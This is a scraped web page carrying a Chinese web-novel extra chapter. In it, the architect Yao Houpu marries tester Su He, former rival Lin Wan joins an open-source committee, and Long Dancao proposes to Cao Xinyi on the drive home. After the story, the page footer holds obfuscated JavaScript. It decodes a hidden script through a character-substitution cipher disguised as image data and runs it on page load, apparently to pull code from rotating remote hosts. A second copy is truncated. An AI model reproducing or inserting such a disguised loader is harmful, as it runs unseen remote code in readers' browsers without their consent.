首页
番外第36章旧代码,新算法
返回
关灯 护眼:关 字号:小

番外第36章旧代码,新算法

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!

    番外第36章旧代码,新算法(第1/2页)
    姚厚朴的婚礼定在三月最后一个周六。
    这个消息在公司内部传开时,所有人都有些意外——倒不是意外他要结婚,而是意外他居然会选择如此“传统”的方式来庆祝人生大事。毕竟在所有人印象中,姚厚朴是那种会直接在代码提交记录里写“今天领证了,少找我”的人。
    “你真的不打算办个科技主题的婚礼?”姚浮萍第一百次问她弟弟,“比如在服务器机房交换戒指,或者用全息投影代替司仪?”
    姚厚朴头也不抬地盯着屏幕上滚动的数据流:“姐,那是我婚礼,不是黑客马拉松。”
    “但你可是姚厚朴啊。”姚浮萍绕到他面前,“龙胆科技的首席架构师,写过让整个行业颤抖的防火墙,连求婚都是写了个‘MarryMe’程序让未婚妻破解...”
    “她三分钟就解开了。”姚厚朴嘴角扬起一丝几乎看不见的弧度,“然后说‘这太简单了,重写一个’。”
    姚浮萍忍不住笑出声:“我就喜欢苏禾这点,治你正好。”
    苏禾是姚厚朴的未婚妻,也是龙胆科技的资深测试工程师。两人相识于五年前的一个凌晨三点,为同一个系统漏洞较劲,最后同时提交修复方案,发现思路惊人相似。后来姚厚朴说,那晚他第一次觉得“有人跟得上我的脑回路”。
    婚礼最终还是定在了郊区的一个小庄园,不大,只请了不到一百人。龙胆科技的核心团队自然都在邀请之列,甚至连已经离开的林晚也收到了请柬。
    “我去合适吗?”林晚在电话里问九里香,“毕竟我都不在公司了。”
    “厚朴亲自拟的名单。”九里香说,“他说‘林晚必须来,没有她当年的反水,我们可能都还在跟荆棘科技缠斗’。”
    林晚在电话那头沉默了几秒:“好,我一定到。”
    ---
    婚礼当天,北京难得放晴。初春的阳光透过庄园的玻璃穹顶洒下来,在草坪上投下斑驳的光影。
    曹辛夷和龙胆草到得早,帮忙布置现场。其实也没什么可布置的——姚厚朴坚持一切从简,连花都是苏禾自己从花卉市场批发的,几个女同事一起扎成了捧花和桌花。
    “厚朴呢?”曹辛夷问正在调试音响的姚浮萍。
    “在后台改代码。”姚浮萍翻了个白眼,“他说结婚誓词的自动滚动程序有个bug,要修一下。”
    龙胆草笑了:“这很厚朴。”
    “苏禾也不管管他?”曹辛夷好奇。
    “苏禾在检查网络覆盖。”姚浮萍耸肩,“说待会儿直播不能卡顿。这两个人...真是绝配。”
    正说着,门口传来一阵骚动。林晚到了。
    她穿一身浅灰色的西装套裙,头发剪短了些,显得干练又精神。手里拎着个精致的礼盒,看到曹辛夷时眼睛一亮:“辛夷!”
    曹辛夷迎上去,两人很自然地拥抱了一下。经过杭州那次深谈,她们之间终于找到了舒适的相处方式——不是亲密无间的闺蜜,也不是心存芥蒂的前同事,而是互相尊重、偶尔联系的朋友。
    “这是什么?”曹辛夷指指礼盒。
    “我自己写的一套安全工具,给新人的礼物。”林晚说,“专门为双技术工作者家庭设计的,可以智能同步日程、自动过滤垃圾邮件,还有个‘勿扰模式’——一方进入深度工作状态时,自动帮另一方处理琐事。”
    龙胆草凑过来:“这礼物实用。厚朴肯定喜欢。”
    “希望如此。”林晚微笑,“苏禾呢?我得当面给她。”
    “在那边检查网络呢。”曹辛夷指指庄园角落,苏禾正举着手机满场走,测试信号强度。
    林晚走过去,两人聊了几句,苏禾接过礼物,眼睛都亮了:“这个好!我早就受够了厚朴写代码时忘记所有约会的毛病。”
    “我听说了,他连自己的生日都记不住。”
    “可不是嘛。”苏禾叹气,“去年我提前一周提醒他,结果当天他还是泡在机房,晚上十一点才想起来,跑到我家楼下,便利店都关门了,最后在自动售货机买了包饼干当生日礼物。”
    林晚忍俊不禁:“但他记得你们第一次一起修漏洞的日子。”
    “那是写在代码注释里的。”苏禾也笑了,“他说‘这么重要的日子,当然要版本控制’。”
    两人相视而笑,有种同为技术女性的默契。
    婚礼仪式简单温馨。没有繁琐的流程,没有煽情的告白,姚厚朴和苏禾各自说了段话,大意是“以后一起写更好的代码,修更多的bug,过更稳定的生活”,然后交换了戒指——戒指内圈刻的不是名字,而是他们第一次合作修复的那个漏洞编号。
    “这很浪漫。”林晚小声对曹辛夷说。
    “只有程序员懂。”曹辛夷笑着回应。
    仪式后的自助餐环节,大家三三两两地聚在一起聊天。姚厚朴难得地脱下格子衫,换上合身的西装,虽然领带打得有点歪,但整个人看起来精神不少。
    “怎么样?当新郎官的感觉?”龙胆草举杯跟他碰了一下。
    姚厚朴想了想:“比上线新系统压力小点。”
    “你这话可别让苏禾听到。”
    “她说的原话是‘比赶项目deadline轻松’。”姚厚朴一本正经地转述。
    龙胆草大笑,然后正色道:“说真的,恭喜。看到你找到能并肩作战的人,我很高兴。”
    姚厚朴难得地没有回避这个话题:“嗯。她...很好。能懂我的沉默,也能在我钻牛角尖时把我拉出来。”
    “这就是最好的伴侣了。”九里香端着酒杯走过来,“能看见你真实的样子,也能帮你成为更好的样子。”
    另一边,曹辛夷、林晚和姚浮萍坐在庭院的长椅上,看着远处的新人和宾客们合影。
    “时间过得真快。”姚浮萍感慨,“厚朴都结婚了。感觉昨天他还是那个背着双肩包、一天说不了十句话的实习生。”
    “你也是啊,浮萍姐。”曹辛夷说,“我刚进公司时,你已经是技术总监了,每天雷厉风行,我们这些小实习生看到你都腿软。”
    姚浮萍挑眉:“我现在不雷厉风行了?”
    “现在多了点...人情味?”曹辛夷斟酌着用词。
    “那是因为经历了太多事。”姚浮萍看向林晚,“包括你的事。”
    林晚低头转动手里的酒杯:“抱歉,当年...”
    “不用道歉。”姚浮萍打断她,“我早就想通了。商业竞争就是这么残酷,换做是我在那种处境,未必能比你做得更好。而且最后,你选择了正确的路,这就够了。”
    这是姚浮萍第一次如此直接地表达对林晚的原谅。林晚眼眶微热:“谢谢。”
    “不过话说回来,”姚浮萍语气一转,“你那个公益组织最近在做的‘青少年数据安全教育’项目,方案我看了,有几个技术点可以优化。”
    林晚眼睛一亮:“真的吗?我正想找机会请教你...”
    两人立刻进入工作状态,开始讨论技术细节。曹辛夷在旁边听着,偶尔插一两句市场角度的建议,气氛融洽得像从未有过隔阂。
    聊到一半,姚浮萍忽然说:“对了,林晚,有件事想跟你商量。”
    “什么?”
    “‘五彩绫镜’的公益版本,我们计划开源一部分核心代码。”姚浮萍认真地说,“想邀请你加入开源社区的技术委员会,负责审核提交的代码和制定社区规范。”
    林晚愣住了:“我?可是我已经离开龙胆科技了...”
    “所以才需要你啊。”姚浮萍说,“我们需要一个既懂技术,又了解公益需求,还能保持客观中立的人。你这些年做的公益项目,正好弥补了我们纯技术视角的不足。”
    (本章未完,请点击下一页继续阅读)番外第36章旧代码,新算法(第2/2页)
    曹辛夷也在旁边帮腔:“这也是龙胆草的意思。他说,技术开源不能只停留在代码层面,还要建立健康的社区生态。你在这方面有经验,也更有耐心。”
    林晚沉默片刻,点点头:“好,我愿意试试。”
    “太好了。”姚浮萍举起酒杯,“欢迎回来——以新的身份。”
    三只酒杯碰在一起,发出清脆的响声。
    夕阳西下时,婚礼接近尾声。宾客陆续离开,庄园渐渐安静下来。
    林晚也要赶晚上的高铁回杭州,曹辛夷送她到门口。
    “今天真的很开心。”林晚说,“看到大家都过得很好,有种...圆满的感觉。”
    “你也是大家中的一员。”曹辛夷认真地说,“无论你在哪里,做什么,你永远都是龙胆科技故事的一部分。”
    林晚笑了,这次笑容里没有负担,只有坦然:“嗯。我也这么觉得。”
    “开源社区的事,好好干。”曹辛夷拍拍她的肩,“姚浮萍其实很看重你,她私下跟我说过,你的技术直觉很敏锐,只是以前走错了方向。”
    “现在方向对了。”林晚深吸一口气,“对了,辛夷,有件事想告诉你。”
    “什么?”
    “我...开始约会了。”林晚有些不好意思,“是个大学老师,教计算机的。我们在一个公益讲座上认识,他主动来问我技术问题,后来发现三观很合。”
    曹辛夷眼睛一亮:“真的?人怎么样?”
    “很温和,很有耐心,跟我不一样。”林晚笑,“但他能理解我的工作,也支持我的选择。我们还在互相了解的阶段,不过...感觉不错。”
    “太好了。”曹辛夷由衷地为她高兴,“等你觉得合适的时候,带他来北京,我们一起吃饭。”
    “一定。”
    送走林晚后,曹辛夷回到庄园里。大部分宾客已经离开,只剩下龙胆科技的几个核心成员,和新人一起收拾场地。
    姚厚朴正小心翼翼地拆解那个誓词滚动程序——他把整个设备都带来了,说要回收利用。
    苏禾在旁边一边收椅子一边吐槽:“我说租一个就行了,他非要自己写,说‘别人的代码不放心’。”
    “现在放心了?”九里香笑着问。
    “放心了,毕竟是我亲自测试的。”苏禾眨眨眼,“跑了三遍模拟,一个bug都没有。”
    姚浮萍抱着一束花走过来:“这些花怎么处理?扔了可惜。”
    “带回公司吧。”龙胆草说,“放前台,让大家都沾沾喜气。”
    “好主意。”曹辛夷接过花,“正好周一例会,放在会议室里。”
    大家分工合作,很快就把场地恢复原状。离开时,天已经完全黑了,庄园的灯一盏盏熄灭,只有门口的“囍”字还亮着暖黄的光。
    回城的车上,曹辛夷靠在副驾驶座上,看着窗外流动的灯火。
    “累了?”龙胆草问。
    “有点,但是开心。”曹辛夷转过头看他,“今天看到厚朴和苏禾,突然觉得,原来幸福可以这么简单——两个人,一份共同热爱的事业,互相理解,互相支持。”
    “这就是他们想要的生活。”龙胆草握住她的手,“不像我们,整天在商海里搏杀。”
    “但我们也在做我们想做的事啊。”曹辛夷反握回去,“只是方式不同。”
    “嗯。”龙胆草沉默了一会儿,“辛夷,我们认识多久了?”
    曹辛夷算了算:“从你创业第一天,我作为第一个员工加入,到现在...七年三个月零五天。”
    “记得这么清楚?”
    “当然。”曹辛夷挑眉,“毕竟我是人力总监,记日期是职业习惯。”
    龙胆草笑了:“那你还记不记得,三年前今天,我们在做什么?”
    曹辛夷想了想,忽然脸红了:“那天...那天我们吵了一架,因为海外市场拓展的方案,你坚持要激进,我坚持要稳妥,吵到晚上十点,最后你摔门走了。”
    “然后呢?”
    “然后你半夜又回来了,带着宵夜,说‘我们可以折中’。”曹辛夷回忆着,“我们边吃边改方案,一直到天亮。”
    “那是我们第一次真正意义上的合作。”龙胆草轻声说,“不是上下级,不是创始人和员工,而是两个平等的伙伴,为了同一个目标争论、妥协、最终达成一致。”
    曹辛夷明白了他在说什么:“你是说...”
    “我是说,”龙胆草把车缓缓停在路边,转向她,“这三年,我们一起经历了太多——公司危机、信任崩塌、重建、上市、扩张...我们争吵过,冷战过,也并肩作战过。而现在,我想把这种关系再向前推进一步。”
    他从口袋里掏出一个小盒子,打开,里面是一枚设计简洁的钻戒。
    “曹辛夷,你愿意嫁给我吗?不是作为龙胆科技的创始人向人力总监求婚,而是作为龙胆草,向那个陪伴我七年、懂我的骄傲也懂我的脆弱、能与我并肩作战也能让我安心休息的曹辛夷求婚。”
    车厢里一片安静,只有仪表盘发出微弱的光。
    曹辛夷看着那枚戒指,又看看龙胆草认真的眼睛,忽然笑了:“你这求婚也太突然了,连个铺垫都没有。”
    “我准备了三个版本的计划。”龙胆草老实交代,“一个是在公司上市周年庆上,一个是在我们第一次见面的创业园区旧址,还有一个是下个月去斯坦福演讲时。但今天看到厚朴和苏禾,我突然觉得,那些精心设计的场景都不重要,重要的是此时此刻,我想和你共度余生的心情。”
    “你确定?”曹辛夷挑眉,“我可是很麻烦的,挑剔,固执,完美主义,以后还会继续跟你吵架...”
    “我确定。”龙胆草打断她,“因为我也很麻烦,自负,控制欲强,工作狂。但我们正好能互相制衡,互相补充,不是吗?”
    曹辛夷的眼眶湿了。她伸出手:“那...好吧。不过先说好,婚礼不能像厚朴这么简陋,但也不能太夸张。”
    龙胆草小心翼翼地为她戴上戒指,尺寸刚好:“都听你的。”
    两人在昏暗的车厢里相拥,窗外是北京城的万家灯火。七年时光如电影般在脑海中闪过——从创业初期的艰难,到快速扩张的忙碌,到危机降临的煎熬,再到并肩作战的重生...所有经历,无论甜蜜还是苦涩,都成了此刻幸福的注脚。
    “我突然想到,”曹辛夷靠在他肩上说,“我们的婚礼请柬上,可以把公司的第一版logo印上去。”
    “为什么?”
    “因为那是我们故事的开始。”曹辛夷微笑,“虽然那个logo丑得后来被姚浮萍强行改掉了,但那是我们一起奋斗过的证明。”
    “好主意。”龙胆草吻了吻她的额头,“都听你的。”
    车子重新启动,驶向城市的灯火深处。前方的路还很长,有挑战,有未知,有无数需要共同面对的难题。
    但他们知道,只要并肩而行,就没有什么可畏惧的。
    就像那些经过千锤百炼的代码,最初的版本可能粗糙,可能满是bug,但只要有修复的决心和持续迭代的耐心,终会变得坚固而优雅。
    而爱情,或许也是如此——从一行行青涩的初稿,到经过调试、优化、重构后的成熟版本,每一处修改,每一次commit,都是共同成长的印记。
    旧代码会过时,但新的算法永远在诞生。
    而他们的故事,才刚刚写好序章。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 